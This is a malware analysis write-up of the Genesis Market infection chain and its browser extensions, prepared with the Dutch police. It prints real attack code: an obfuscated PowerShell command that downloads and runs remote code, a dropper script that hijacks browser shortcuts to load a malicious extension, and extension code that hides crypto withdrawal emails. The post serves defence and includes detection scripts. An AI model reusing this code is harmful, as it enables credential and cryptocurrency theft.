For the last couple of weeks we’ve assisted the Dutch police in investigating the Genesis Market. In case you are unfamiliar with this market, it was used to sell stolen login credentials, browser cookies and online fingerprints (in order to prevent ‘risky sign-in’ detections), by some referred to as IMPaas, or Impersonation-as-a-Service. The market seemed to have started in 2018 and its activities have resulted in approximately two million victims. If you want to know more about this operation, you can read our other blog post. You can also check if your data has been compromised by the market operators via the website of the Dutch police.
In order to operate this market, victims were infected with malware that would steal all data from their browser. The malware was persistent, so that any new information added to the browser later could be stolen as well. Buyers would receive access to a custom Chromium build or browser extension which could load the stolen information of a victim.
We helped the police by analysing the malware that got installed by its victims and by analysing the browser that would be accessible for buyers. The focus was to determine the infection chain of the victim. Additionally, we looked at the browser available to buyers, to see if this would give new insights about the methods used by the market or the buyers. The victim in this case got infected in the second half of February.
Due to the short timespan in which this research had to be conducted, it can be that some details are missing or not 100% accurate. We’ve been careful to mention any uncertainties in this article. This article should however give some more insight on how this market operated and can hopefully give future researchers a head start if this market ever re-launches. In addition, it highlights a trend of attackers switching from stealing credentials to stealing session cookies, to cope with the increased adoption of multi-factor and risk-based authentication.
This analysis starts with a write-up of the infection chain and an analysis of the malware that gets dropped. In the second half we dig deeper into the buyers browser extension and how it can be fingerprinted. In case you are interested, Trellix also has a writeup of the exploit chain of one of the other victims.
Stage one: the loader
The infection we investigated started (ironically) because the victim wanted to activate his or her anti-virus product. Rather than paying for a subscription, the victim downloaded an illegal activation crack. This ended up uninstalling the original AV product and installing malware instead…
The activation crack came as an executable, setup.exe
, packed in a ZIP file. Looking at the creation date, it seems like the file was created the day before. Possibly to bypass any new AV detection rules. The file is 444 MB in size, but the last 439 MB are all set to 0.
Upon further investigation, setup.exe
seemed to be Inno Setup generated installer, with the packaged data being the malicious payload. Luckily, we could quickly test this hypothesis and make use of a wide array of tools to investigate the installer package further:
- innoextract
- innounp
- InnoExtractor by Havysoft
- IFPSTools.NET (for disassembling embedded compiled Pascal code)
Using innoextract
, a listing of the packaged files can be retrieved:
$ innoextract -e ./setup.exe -d extracted
Extracting "Ino JCcq7ie Supsup" - setup data version 6.1.0 (unicode)
- "tmp/jcoigasjioqeg.dll" [temp]
- "tmp/yvibiajwi.dll" [temp]
- "tmp/isgoisegjoqwg.dll" [temp]
Done.
And looking at the file signatures:
$ cd extracted && file tmp/*
isgoisegjoqwg.dll: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1920x1080, components 3
jcoigasjioqeg.dll: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CS6 (Windows), datetime=2023:02:09 01:02:17], progressive, precision 8, 3840x2160, components 3
yvibiajwi.dll: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
The two images seem unrelated to the actual malware. They are a picture of a pride flag and a picture of LeBron James.
yvibiajwi.dll
stood out because there were multiple identical copies of that DLL in the directories created by setup.exe
on the victim’s machine, but none of the other two files.
Additionally, the second stage executable setup.tmp
loads yvibiajwi.dll
at some point. More specifically, the following high level sequence of actions takes place:
setup.exe
creates a new directory, referred to as the setup temp directory from here on, with the formatis-<5 uppercase random alphanumeric>.tmp
in the directory retrieved byGetTempPath()
setup.exe
writes another executable,setup.tmp
to the setup temp directorysetup.exe
launchessetup.tmp
with the command line argument/SL5="$B0638,3246841,963072,<path to setup.exe>"
setup.tmp
opens thesetup.exe
file, reads data from it and writesyvibiajwi.dll
to the setup temp directorysetup.tmp
launchessetup.exe
with the command line argument/VERYSILENT
setup.exe
creates a new setup temp directory and writessetup.tmp
to the new directory then launches it with a similar/SL5
command line argumentsetup.tmp
readsyvibiajwi.dll
from the packaged data insetup.exe
and writes it to the most recently created setup temp directorysetup.tmp
loadsyvibiajwi.dll
The second invocation with /VERYSILENT
hides all of the installer’s windows, per Inno Setup’s documentation. Keeping Inno Setup’s intended purpose in mind, the above flow seems unusual. It would likely not be standard functionality unless there is extra code embedded into the generated installer, is there?
Embedded PascalScript
Inno Setup supports adding specialized tasks to a generated installer beyond simply unpacking the contents. An installer script can specify user-specified yet defined tasks in the [Tasks]
section, or programs to execute in the [Run]
section. Additionally, an installer script can also specify custom code in PascalScript to customize the (un-)installation process. setup.exe
also includes an embedded compiled script which defines a function to be called on setup initialization. Using innounp
and IFPSTools.NET
, the embedded PascalScript can be unpacked and decompiled for analysis:
.version 23
.entry !MAIN
.type primitive(Pointer) Pointer
.type primitive(U32) U32
.type primitive(Variant) Variant
.type primitive(PChar) PChar
.type primitive(Currency) Currency
.type primitive(Extended) Extended
.type primitive(Double) Double
.type primitive(Single) Single
.type primitive(S64) S64
.type primitive(String) String
.type primitive(U32) U32_2
.type primitive(S32) S32
.type primitive(S16) S16
.type primitive(U16) U16
.type primitive(S8) S8
.type(export) funcptr(void()) ANYMETHOD
.type primitive(String) String_2
.type primitive(UnicodeString) UnicodeString
.type primitive(UnicodeString) UnicodeString_2
.type primitive(String) String_3
.type primitive(UnicodeString) UnicodeString_3
.type primitive(WideString) WideString
.type primitive(WideChar) WideChar
.type primitive(WideChar) WideChar_2
.type primitive(Char) Char
.type primitive(U8) U8
.type primitive(U16) U16_2
.type primitive(U32) U32_3
.type(export) primitive(U8) BOOLEAN
.type primitive(U8) U8_2
.type(export) class(TWIZARDFORM) TWIZARDFORM
.type(export) class(TMAINFORM) TMAINFORM
.type(export) class(TUNINSTALLPROGRESSFORM) TUNINSTALLPROGRESSFORM
.global(import) TWIZARDFORM WIZARDFORM
.global(import) TMAINFORM MAINFORM
.global(import) TUNINSTALLPROGRESSFORM UNINSTALLPROGRESSFORM
.function(export) void !MAIN()
ret
.function(import) external dll("shell32.dll","ShellExecuteW") __stdcall returnsval shell32.dll!ShellExecuteW(__in __unknown,__in __unknown,__in __unknown,__in __unknown,__in __unknown,__in __unknown)
.function(import) external dll("files:yvibiajwi.dll","RedrawElipse") __cdecl void files:yvibiajwi.dll!RedrawElipse(__in __unknown)
.function(export) BOOLEAN INITIALIZESETUP()
pushtype S32 ; StackCount = 1
pushtype S32 ; StackCount = 2
pushtype S32 ; StackCount = 3
pushtype S32 ; StackCount = 4
pushtype S32 ; StackCount = 5
pushtype String_3 ; StackCount = 6
pushtype S32 ; StackCount = 7
pushtype S32 ; StackCount = 8
pushtype S32 ; StackCount = 9
pushvar RetVal ; StackCount = 10
call WIZARDSILENT
pop ; StackCount = 9
assign Var1, S32(3490579)
assign Var4, S32(6006047)
add Var4, Var1
assign Var8, S32(2538214)
add Var8, Var1
assign Var4, S32(0)
pushtype BOOLEAN ; StackCount = 10
assign Var10, RetVal
setz Var10
sfz Var10
pop ; StackCount = 9
jf loc_245
pushtype BOOLEAN ; StackCount = 10
pushtype S32 ; StackCount = 11
pushtype S32 ; StackCount = 12
assign Var12, S32(5)
pushtype UnicodeString_2 ; StackCount = 13
assign Var13, UnicodeString_3("")
pushtype UnicodeString_2 ; StackCount = 14
assign Var14, UnicodeString_3("/VERYSILENT")
pushtype UnicodeString_2 ; StackCount = 15
pushtype UnicodeString_2 ; StackCount = 16
assign Var16, UnicodeString_3("{srcexe}")
pushvar Var15 ; StackCount = 17
call EXPANDCONSTANT
pop ; StackCount = 16
pop ; StackCount = 15
pushtype UnicodeString_2 ; StackCount = 16
assign Var16, UnicodeString_3("")
pushtype S32 ; StackCount = 17
assign Var17, S32(0)
pushvar Var11 ; StackCount = 18
call shell32.dll!ShellExecuteW
pop ; StackCount = 17
pop ; StackCount = 16
pop ; StackCount = 15
pop ; StackCount = 14
pop ; StackCount = 13
pop ; StackCount = 12
pop ; StackCount = 11
le Var10, Var11, S32(32)
pop ; StackCount = 10
sfz Var10
pop ; StackCount = 9
jf loc_203
assign Var5, S32(3391624)
assign Var7, S32(840271)
add Var7, Var1
add Var7, S32(24673)
assign Var7, S32(128817)
assign RetVal, BOOLEAN(1)
assign Var9, S32(4775799)
loc_203:
assign Var6, UnicodeString_3("HqKTEgDM0D2xEzOpyamSPdX")
jump loc_325
loc_245:
assign Var9, S32(2482010)
assign Var2, S32(1011875)
assign Var9, S32(498847)
assign Var4, S32(1795972)
pushtype S32 ; StackCount = 10
assign Var10, S32(490102)
call files:yvibiajwi.dll!RedrawElipse
pop ; StackCount = 9
assign Var6, UnicodeString_3("cbdmPSyrpKqYV1")
assign Var5, S32(1512452)
pushtype UnicodeString_3 ; StackCount = 10
assign Var10, Var6
add Var10, UnicodeString_3("eIfOyEgNLbgUddEtLD")
assign Var6, Var10
pop ; StackCount = 9
loc_325:
ret
.function(import) external internal returnsval WIZARDSILENT()
.function(import) external internal returnsval EXPANDCONSTANT(__in __unknown)
The functionality implemented by the above script seems to match up with the observed behavior. When the installer process executes it in ‘SILENT’ mode, it also invokes a function called RedrawElipse
in yvibiajwi.dll
, which kicks off the next stage of the infection chain.
Diving into yvibiajwi.dll
The DLL seems to be written in C++. Upon loading this DLL in IDA, we’re finally met with our first taste of control flow obfuscation in the infection chain so far:
The obfuscation techniques applied are limited to runs of bogus Windows/libc API calls that are guarded by an always false if condition or empty loops, so it’s relatively simple to ignore them:
With the control flow cleaned up a bit, we can finally tell that the DLL is another dropper which loads a piece of shellcode and executes it. However, execution of the shellcode is not done on DLL loading in DllMain
, instead DllMain
only sets up a few pointers and allocates memory for the shellcode and nothing else. In order to execute the embedded shellcode, the exported RedrawElipse
function has to be called with the first argument set to 0x77A76
or 490102
. Of course, this is exactly how the function is invoked in the embedded PascalScript in setup.exe
:
...
pushtype S32 ; StackCount = 10
assign Var10, S32(490102)
call files:yvibiajwi.dll!RedrawElipse
...
Once invoked, RedrawElipse
eventually calls crypt32.dll!CryptStringToBinaryA
to decode the embedded base64 shellcode block. It then decrypts the decoded block using what seems to be a custom 64-bit block cipher with a hardcoded key then executes the decrypted shellcode.
The shellcode then decrypts an embedded loader executable using the eXtended Tiny Encryption Algorithm (XTEA) block cipher and uses process hollowing to inject it into a newly spawned explorer.exe
process. Afterwards, the injected loader downloads a file from http://194.135.33[.]96/rozemarin.exe
, which gets renamed to svchost.exe
and executed. It also executes a PowerShell script which downloads some more resources. Both are described in more detail hereafter.
Taking a closer look at svchost.exe
All of the stages prior to the one that loaded this executable involved dropping a static next stage in some shape or form. However, this executable was downloaded and is therefore one of the first elements of the infection chain that might differ from one campaign to the next. Case in point: after extracting the previous stage’s executable, we found a matching submission (by hash) on VirusTotal. In addition, linked to the VirusTotal submission is a VMRay analysis report showing a different hash for the svchost.exe
executable to this one which was acquired from the victim’s filesystem.
Focusing on this svchost.exe
version: it sets off another series of nested encrypted shellcode stages. The first stage is decrypted and executed, which sets up and executes the second stage and so on. Each stage is encrypted differently from its successor:
- The first stage is encrypted using the Tiny Encryption Algorithm (TEA) block cipher.
- The second stage is encrypted using a custom cipher.
- The third and final stage is an executable that is embedded in plaintext in the second stage.
Interestingly, the final stage is executed through “self PE injection”. This is achieved by having the second stage shellcode replace the PE of its own process, namely the svchost.exe
executable, with the embedded final stage’s PE. Afterwards, relocations are updated to match those of the final stage PE, and the second stage shellcode jumps to the now-mapped final stage executable’s entry point.
While analyzing the final executable, we noticed that there is quite some similarity between it and a DLL found on the victim’s machine which matched the Danabot malware. This makes sense, as we learned that the Genesis Market relied on multiple known botnets in the past. AZORult, GoodKit and Arkei also seem linked to prior infections. The reason we suspected Danabot is because both pieces of code are written in Delphi and are heavily obfuscated using almost identical techniques. We were able to find a much stronger link when analysing the chain starting from svchost.exe
dynamically:
The screenshot above shows that the at some point, svchost.exe
writes the malicious Qruhaepdediwhf.dll
DLL to the user’s %TMP%
directory and loads it using rundll32.exe
. Shortly after doing so, svchost.exe
’s process exits while the rundll32.exe
process that loaded the malicious DLL continues. Furthermore, we found that both the Qruhaepdediwhf.dll
file from the victim’s device and the one dropped in the analysis detonation run are almost identical except for what seems to be a randomly generated hex-encoded identifier at offset 0x0050695C
(exact identifiers modified):
$ diff <(hexdump -C original_Qruhaepdediwhf.dll) <(hexdump -C dropped_Qruhaepdediwhf.dll)
328300,328302c328300,328302
< 00506950 04 55 41 00 0c 55 41 00 14 55 41 00 41 41 41 41 |.UA..UA..UA.AAAA|
< 00506960 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
< 00506970 41 41 41 41 41 41 41 41 41 41 41 41 7a 7a 00 00 |AAAAAAAAAAAAzz..|
---
> 00506950 04 55 41 00 0c 55 41 00 14 55 41 00 42 42 42 42 |.UA..UA..UA.BBBB|
> 00506960 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 |BBBBBBBBBBBBBBBB|
> 00506970 42 42 42 42 42 42 42 42 42 42 42 42 7a 7a 00 00 |BBBBBBBBBBBBzz..|
At this stage, we stopped analysing the infection chain further since the links between the artefacts on the victim’s device and the suspected initial infection vector have been sufficiently clarified. The remainder of this document focuses on the parts of the malware that are more strongly related to the market’s illicit activities.
Downloading remote resources
As mentioned earlier, the final loader executable that is executed by the decoded shellcode in yvibiajwi.dll
not only drops svchost.exe
, but also runs the following PowerShell command:
$w = new-object System.Net.Webclient;
$bs = $w.DownloadString("http://tchk-1[.]com/v3.bs64");
[Byte[]] $x=[Convert]::FromBase64String($bs.Replace("!", "A").Replace("@", "W").Replace("$", "x").Replace("%", "y").Replace(" ^", "z"));
for ($i = 0; $i -lt $x.Count; $i++) {
$x[$i] = ($x[$i] -bxor 255) -bxor 11
}
iex([System.Text.Encoding]::UTF8.GetString($x))
This downloads a new PowerShell command from the remote host tchk-1[.]com
, which gets executed. Further analysis of this host revealed that it is just a proxy (using HAProxy), forwarding requests to other hosts.
Besides v3.bs64
there seem to be other versions as well, such as 5.ps1
. In general it seems to do either contain encoded files inline, or download these files separately. These files constitute an unpacked browser extension, which (in case of our victim) gets saved in $localAppData\Default
. Then the script iterates over all start menu items, looking for shortcuts to browsers based on Chromium, such as Google Chrome and Brave. It modifies these shortcuts by appending --load-extension=<extension path>
to each shortcut such that the just dropped extension gets loaded.
Below you can find the decoded version of v3.bs64
, though encoded data has been removed for readability:
$strangeDesktop = [Environment]::GetFolderPath("CommonDesktopDirectory")
$programFiles = [Environment]::GetFolderPath("ProgramFiles")
$appData = [Environment]::GetFolderPath("ApplicationData")
$userProfile = [Environment]::GetFolderPath("UserProfile")
$localAppData = [Environment]::GetFolderPath("LocalApplicationData")
$encodedData = @{"src/functions/exchangeSettings.js"="..."...}
$destination = "$localAppData\Default"
if (-not (Test-Path $destination)) {
New-Item $destination -ItemType Directory | Out-Null
}
foreach ($item in $encodedData.GetEnumerator()) {
$decodedContent = [System.Convert]::FromBase64String($item.Value)
$filePath = Join-Path $destination $item.Key
$directoryPath = Split-Path $filePath -Parent
if (-not (Test-Path $directoryPath)) {
New-Item $directoryPath -ItemType Directory | Out-Null
}
[System.IO.File]::WriteAllBytes($filePath, $decodedContent)
}
$startMenuPrograms = @(
"$strangeDesktop",
"$userProfile\Desktop",
"$appData\Microsoft\Internet Explorer\Quick Launch"
)
$braveWorkingFolder = "$programFiles\BraveSoftware\Brave-Browser\Application"
$chromeWorkingFolder = "$programFiles\Google\Chrome\Application"
$operaGXWorkingFolder = "$localAppData\Programs\Opera GX"
$extensionPath = "$localAppData\Default"
$shell = New-Object -ComObject WScript.Shell
Get-ChildItem -Path $startMenuPrograms -Filter *.lnk -Recurse -Force |
Where-Object {
$link = $shell.CreateShortcut($_.FullName)
$link.WorkingDirectory -eq $braveWorkingFolder -or
$link.WorkingDirectory -eq $chromeWorkingFolder -or
$link.WorkingDirectory -eq $operaGXWorkingFolder
} |
ForEach-Object {
$link = $shell.CreateShortcut($_.FullName)
$link.Arguments = "$($link.Arguments) --load-extension=`"$extensionPath`""
$link.Save()
}
Stop-Process -Name "chrome" -Force
Stop-Process -Name "opera" -Force
Stop-Process -Name "brave" -Force
The victim’s browser extension: Google Drive
We believe the extension that gets dropped and loaded into Chrome is directly related to the market. It poses itself as Google Drive, as can been seen in its manifest.json
:
{
"offline_enabled": true,
"name": "Google Drive",
"author": "Google inc.",
"description": "Google Drive: create, share and keep all your stuff in one place.",
"version": "1.8.7",
"icons": {
"128": "ico.png"
},
"permissions": [
"scripting",
"webNavigation",
"system.cpu",
"system.display",
"system.storage",
"system.memory",
"management",
"storage",
"cookies",
"notifications",
"tabs",
"history",
"webRequest",
"declarativeNetRequest",
"alarms"
],
"manifest_version": 3,
"background": {
"service_worker": "./src/background.js",
"type": "module"
},
"host_permissions": [
"<all_urls>"
],
"content_scripts": [
{
"matches": [
"<all_urls>"
],
"all_frames": true,
"js": [
"src/content/main.js",
"src/mails/gmail.js",
"src/mails/hotmail.js",
"src/mails/yahoo.js"
],
"run_at": "document_start"
}
],
"declarative_net_request": {
"rule_resources": [
{
"id": "disable-csp",
"enabled": false,
"path": "rules.json"
}
]
}
}
It injects several content scripts and it declares some rewrite rules that disable the Content Security Policy. The extension itself consists of multiple JavaScript files, for which no effort was made to obfuscate them. Let’s look a little closer to its features. Below you can see a file listing of the extension, which already paints a picture of what to expect:
$ find . -type f
./config.js
./ico.png
./rules.json
./manifest.json
./app.html
./modules/content-scripts-register-polyfill.4.0.0.js
./src/mails/yahoo.js
./src/mails/hotmail.js
./src/mails/gmail.js
./src/background.js
./src/content/main.js
./src/functions/proxy.js
./src/functions/csp.js
./src/functions/exchangeSettings.js
./src/functions/tabs.js
./src/functions/sentry.js
./src/functions/screenshot.js
./src/functions/commands.js
./src/functions/utils.js
./src/functions/getMachineInfo.js
./src/functions/extensions.js
./src/functions/notifications.js
./src/functions/settings.js
./src/functions/injections.js
Somewhat surprisingly, the discovered extension includes the Sentry.io analytics service using the following URL:
https://[email protected][.]io/4504639321407488
In a later version of the extension we analysed, this reference was removed.
Command and Control
The first thing we noticed was how it determines its C2 server. For this it relied on monitoring outgoing transactions from a single Bitcoin address (bc1qtms60m4fxhp5v229kfxwd3xruu48c4a0tqwafu
), using the JSON API of blockchain.info. This address has made a single transaction, to a legacy Bitcoin address 1C56HRwPBaatfeUPEYZUCH4h53CoDczGyF
. This address can be Base58 decoded, resulting in the domain you-rabbit[.]com
. This host is then contacted as the C2 server.
Since this transaction took place on February 6th 2023, prior infections must have used either a different technique, or relied on a different Bitcoin address to determine its C2 host. For this we downloaded a copy of the Bitcoin transaction database from January and decoded all legacy addresses to see if we could find any similar addresses, but this did not result in any matches. This could indicate that this was a new technique they just adopted in the last few months.
Oh no! There is something wrong with my Bitcoin wallet
One of the things the extensions monitors for is emails you might receive from various crypto exchanges. If so, it rewrites the email, to make them look less suspicious. For example, changing an email about a withdrawal into an email about a new sign-in:
if (window.location.href.indexOf('mail.google') > -1) {
const binance = () => {
let items = $(document).find(':contains("Withdrawal Requested")').filter(function () {
return $(this).children().length === 0;
})
for (const item of items) {
$(item).text(`[Binance] Authorize New Device`)
}
items = $(document).find('span:contains("Memo:")')
for (const item of items) {
$(item).html(`<span class="Zt"> - </span>Authorize New Device You recently attempted to sign in to your Binance account from a new device or location. As a security measure, we require additional confi.`)
}
items = $($(document).find('div:contains("Memo:")').filter(function () {
return $(this).children().length === 0;
})[0]).parents('.ii')
for (const item of items) {
const code = $($(item).find('div[style*="font-size:20px"]')[1]).find('div').text()
$(item).html('...')
}
}
...
}
They have support for Gmail, Hotmail/Outlook and Yahoo and seem to monitor emails from Binance, Bybit, Huobi, Okx, Kraken, KuCoin and Bittrex.
Since they don’t actually check for the domain name, but rather if e.g. ‘mail.google’ is present somewhere in the URL, we can use this to detect if an user is infected with this extension:
<script type="text/javascript">
if (window.location.href.indexOf("mail.google+outlook.live+yahoo") === -1) {
window.location.href = window.location.href + "#scan=mail.google+outlook.live+yahoo";
}
setTimeout(function analyze() {
var checks = [];
// The + is needed to avoid this element itself being modified!
checks.push(document.getElementById("binance").innerText !== "Withdrawal " + "Requested");
checks.push(document.getElementById("huobi").innerText !== "Подтвердите " + "запрос на вывод средств");
checks.push(document.getElementById("okx").innerText !== "Verification " + "Code Of Withdrawal");
checks.push(document.getElementById("kraken").innerText !== "Confirm " + "your new withdrawal address");
checks.push(document.getElementById("kucoin").innerText !== "KuCoin " + "Verification Code");
checks.push(document.getElementById("bitget").innerText !== "Add " + "withdrawal address");
checks.push(document.getElementById("bittrex").innerText !== "Please " + "Confirm Your Withdrawal");
var found = 0;
for (i in checks) {
if (checks[i]) found += 1;
}
if (found === 0) {
document.getElementById('result').innerText = "Good news! The malicious browser extension was not detected.";
} else {
document.getElementById('result').innerHTML = "Bad news! We also detected this extension on your system. We would advice you to go to the website of the <a href='https://politie.nl/checkyourhack'>Dutch police</a>, where they can assist you further.";
}
}, 2000)
</script>
<p style="display: none;" id="binance">Withdrawal Requested</p>
<p style="display: none;" id="huobi">Подтвердите запрос на вывод средств</p>
<p style="display: none;" id="okx">Verification Code Of Withdrawal</p>
<p style="display: none;" id="kraken">Confirm your new withdrawal address</p>
<p style="display: none;"id="kucoin">KuCoin Verification Code</p>
<span style="display: none;" id="bitget">Add withdrawal address</span>
<p style="display: none;" id="bittrex">Please Confirm Your Withdrawal</p>
<div id="result">Checks still running...</div>
This script is embedded on this page, and the result is:
Deputizing the victim’s browser - request proxying
Another interesting feature of the malicious browser extension is the ability to proxy HTTP requests through the victim’s browser. This feature can be enabled at any time by the C2 server using the aptly-named proxy
command (more on the other supported commands later). In addition, the feature can also be enabled during registration with the C2 server if isEnabledProxy
is set to true
in the JSON-formatted response of the registration endpoint at https://{c2.domain}/api/machine/init
.
When enabled, the proxy feature attempts to set up a WebSocket connection channel to another C2 server which is relayed by the main C2 server in the response to https://{c2.domain}/api/machine/settings
on port 4343. Once set up, the proxy submodule will wait for commands from its associated C2 server, which can be one of:
HTTP_REQUEST
request a URL through the victim’s browsers, adding the victim’s own cookies using thefetch()
APIAUTH
provide theuuid
of the malicious extension’s instanceGET_COOKIES
get a copy of all the cookies
Requests made by the C2 server through the HTTP_REQUEST
command occur within the context of the extension, making them invisible to victims. We were able to test this specific subset of the functionality by creating our own set of emulated C2 servers, so we could see the proxy functionality in action asking the extension to make a request to http://localhost:8080/test2
:
As a result, the extension indeed issued a request to http://localhost:8080/test2
:
Despite the existence of this proxy feature, its intended use case remains a mystery to us. From the point of view of features available to market users, the buyers’ extension - which is further elaborated on later in this writeup - makes no reference to this feature. There is the possibility to set a SOCKS5 proxy in the extension settings page, but that does not seem related to the malicious extension’s proxy feature. Additionally, the user manual only mentions the SOCKS5 proxy feature.
It may be the case that proxying through the victim’s machine is possible for bot buyers, perhaps through a SOCKS5 interface exposed by the Danabot-like malware that’s deployed as part of the infection chain. However, we do not have enough information to make any definitive conclusions on whether these features are available to buyers or not.
Other functionality
Besides rewriting emails and proxying requests, the C2 server can send the following commands to the victim:
extension
enable or disable a certain browser extensioninfo
get information about the victim’s machine (e.g. WebGL machine details)push
send a push notificationcookies
get a copy of all cookiesscreenshot
send back a screenshot of the page currently open in the browserurl
open a URL in the browsercurrent_url
send back the URL of the current tabhistory
send back the browser historyinjects
download a new set of rules from the server, which specify extra JavaScript to execute on certain domainssettings
get a new settings object from the server; for example links it should grab
Buyers on the market get access to a Chromium extension (as .crx
file) and a browser (based on ungoogled-chromium) with the extension preinstalled. This extension can easily import bought fingerprints and cookies.
General functionality
The extension, once activated, allows buyers to automatically import bought fingerprints and cookies. Furthermore, it allows for the setup of an SOCKS5 based proxy. The plugin can been seen in action in the GIF below.
Analyzing the source code
This extension is heavily obfuscated, making it difficult to determine exactly how it works and what features it offers. We combined the analysis of the source code with dynamic analysis in an isolated VM.
The extension requires a large list of permissions, for example, allowing it full access to all visited pages. The full list of permissions is:
"permissions": ["<all_urls>", "tabs", "storage", "unlimitedStorage", "cookies", "webNavigation", "webRequestBlocking", "webRequest", "browsingData", "privacy", "background", "bookmarks", "downloads", "clipboardRead", "clipboardWrite", "contentSettings", "contextMenus", "history", "idle", "management", "pageCapture", "topSites", "system.cpu", "system.memory", "system.storage", "declarativeContent", "activeTab", "power", "desktopCapture", "proxy"],
This list contains a number permissions for which it is not clear what functionality they are intended for, such as desktopCapture
, system.cpu
and power
.
When the extension is installed, users need to activate it using an “activation code”. When a code is entered, the browser sends a POST request to the following URL:
https://sync.approveconnects[.]com/security
If this request fails, it tries again with the following URL:
https://sync.gsconnects[.]com/security
This request contains a multipart body with 3 variables: a
, v
and i
. Each field is encrypted and is included as binary data in the multipart body. The encryption of the activation key (the field a
) works as follows:
- The activation key is encoded as a JSON string (enclosed in double quotes).
- This string is URL-encoded (replacing the double quotes with
%22
, etc.). - This result is then compressed using deflate (the compression algorithm used by zlib, but without a zlib header).
- Then, a key and IV are generated. This uses the OpenSSL
EVP_BytesToKey
KDF with a random 8-character salt and the hard-coded passwordliauyd(o*!&@#ijKj@!#asdg2134
. - The compressed data is encrypted using AES-CBC with the generated key and IV and with PKCS7 padding.
- The data submitted in the request is the random salt followed by the cipher text.
The parameters v
and i
are encrypted in a similar way, but with a different password. The password is generated by taking the activation key, swapping the case of all letters (replacing lowercase characters with uppercase characters and vice versa) and appending the string asdg2134
.
The parameter v
contains the version number of the plugin (currently 7.2), as a JSON dictionary:
The parameter i
contains certain fingerprinting data of the browser and extension, such as the user agent, OS details and a list of the removable drives on the user’s machine. We don’t see any way this could be relevant for the extension, so this is likely just included to monitor and track the buyers:
{
"p": {
"p": {
"a": "aarch64",
"b": "",
"c": "",
"d": 6
},
"m": {
"a": 4113801216
},
"s": {
"a": {
"c": [],
"a": [
"536870912|777db833-9d2e-40e5-a1cb-75b26827b847|/boot/efi|/boot/efi",
"1048576|7ff0d82f-ee43-4c1d-85a4-a5af0aa1aab5|/media/user/6c781ebb-c8e1-430b-84ae-1bc1ff6891ee|/media/user/6c781ebb-c8e1-430b-84ae-1bc1ff6891ee",
"32797360128|0f25215a-4b5c-4569-ab5a-552bc703bd94|/|/"
],
"b": []
}
},
"i": {
"a": {
"c": [],
"a": [
"536870912|777db833-9d2e-40e5-a1cb-75b26827b847|/boot/efi|/boot/efi",
"1048576|7ff0d82f-ee43-4c1d-85a4-a5af0aa1aab5|/media/user/6c781ebb-c8e1-430b-84ae-1bc1ff6891ee|/media/user/6c781ebb-c8e1-430b-84ae-1bc1ff6891ee",
"32797360128|0f25215a-4b5c-4569-ab5a-552bc703bd94|/|/"
],
"b": []
}
}
},
"j": {
"c": "9a3bd3e8cebf17110f689f58a4a1f43e",
"w": "6c14da109e294d1e8155be8aa4b1ce8e",
"s": "Chrome 111",
"p": {
"ua": "Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36",
"browser": {
"name": "Chrome",
"version": "111.0.0.0",
"major": "111"
},
"engine": {
"version": "537.36",
"name": "WebKit"
},
"os": {
"name": "Linux",
"version": "aarch64"
},
"device": {},
"cpu": {}
},
"a": "ad449aba7595468941c6d3b6aad54a4fc76797aa",
"t": {
"s": 0,
"b": 1
}
}
}
The server can reverse this process by first decrypting the activation code, generating the same key and IV using the salt. Then the activation code can be used to decrypt the v
and i
fields.
Jumping through all these hoops does gives us an ‘activated’ extension:
At regular intervals, the extension will submit its activation code again (specified by renew_interval
/renew_enabled
). This request contains the same variables as the first activation request with 3 additional fields: b
, e
and d
. The exact meaning of these fields has not yet been determined.
While the code is obfuscated, the settings reveal some of its functionality. We managed to obtain the following configuration object from the extension:
{
"pl_version": "7.2",
"sel_pl_version": "7.2",
"options_version": "7.2",
"available_versions": [
"7.2"
],
"storage_key": "ext_set",
"enabled": true,
"useragent": null,
"renew_enabled": true,
"renew_interval": 3600000,
"renew_onstartup": true,
"sync": false,
"proxy_enabled": false,
"proxy": {
"ip": false,
"port": false,
"type": false
},
"settings": {
"bf": false
},
"exceptions_list": [
"chrome://*"
],
"links_domain_sync": [
"sync.approveconnects.com",
"sync.gsconnects.com"
],
"link_path_sync": "/security/",
"link_path_bots": "/client/bots",
"link_path_profile": "/client/account/profile",
"links_domain_shop": [
"genesis.market",
"g3n3sis.pro",
"g3n3sis.org"
],
"keep_domains": "genesis.market\\ng3n3sis.pro\\ng3n3sis.org",
"links_bugreport": "",
"selected_fp": {
"bot_id": "",
"hash_unique": ""
},
"act_key": false,
"plugin_id": false,
"clean_settings": {
"items": {},
"since": 0
}
}
The URL for the activation is constructed by taking a value from the links_domain_sync
and appending the link_path_sync
path.
Note that this extension had just been installed and not activated, so the values when in use will be different. It looks likely that the link_path_bots
endpoint is used to automatically retrieve the list of cookies and online fingerprints that the buyer has bought. The proxy
and selected_fp
fields would be filled with settings if the extension was in use.
The configuration can also be obtained from disk from files at the following path:
<Chrome Settings Dir>/Default/Local Extension Settings/<Extension ID>/*.log
This is a LevelDB database, which appears to also keep a number of older versions of the configuration.
The extension contains functionality (and has the permission) to configure a SOCKS5 proxy. In the victim’s extension, a method for proxying HTTPS requests through the victim’s browser was found that uses WebSockets. The functionality to send requests over such a WebSocket connection was not found in the buyer’s extension, although due to the obfuscation this is not fully certain. It is still an open question on whether proxying through the victim’s machine directly was a feature offered by the market, or whether the buyers only used their own SOCKS5 proxies.
Fingerprinting buyers
The extension registers an event handler on all webpages. The content script that gets added to each visited webpage by the extension registers an event handler for a custom event named hammilton
. This appears to be a method for communicating with the extension from a webpage, as it will pass the result back to the page. When this event is received by the content script, it sends a message to the background script, which will send a response back as JavaScript code which is evaluated in the content script:
location.href = 'javascript: if(window.bunny && window.bunny.cb && window.bunny.cb[0])window.bunny.cb[0]([{"result":{"result":0}}])'
Therefore, by setting window.bunny.cb[0]
to a JavaScript function and sending the event, it is possible to determine if a user has this extension installed by determining if that function is called.
window.bunny = { "cb": [function() {
console.log("Extension detected.");
}]}
window.dispatchEvent(new CustomEvent("hammilton", {"detail": {"l": "0", "o": "b"}}));
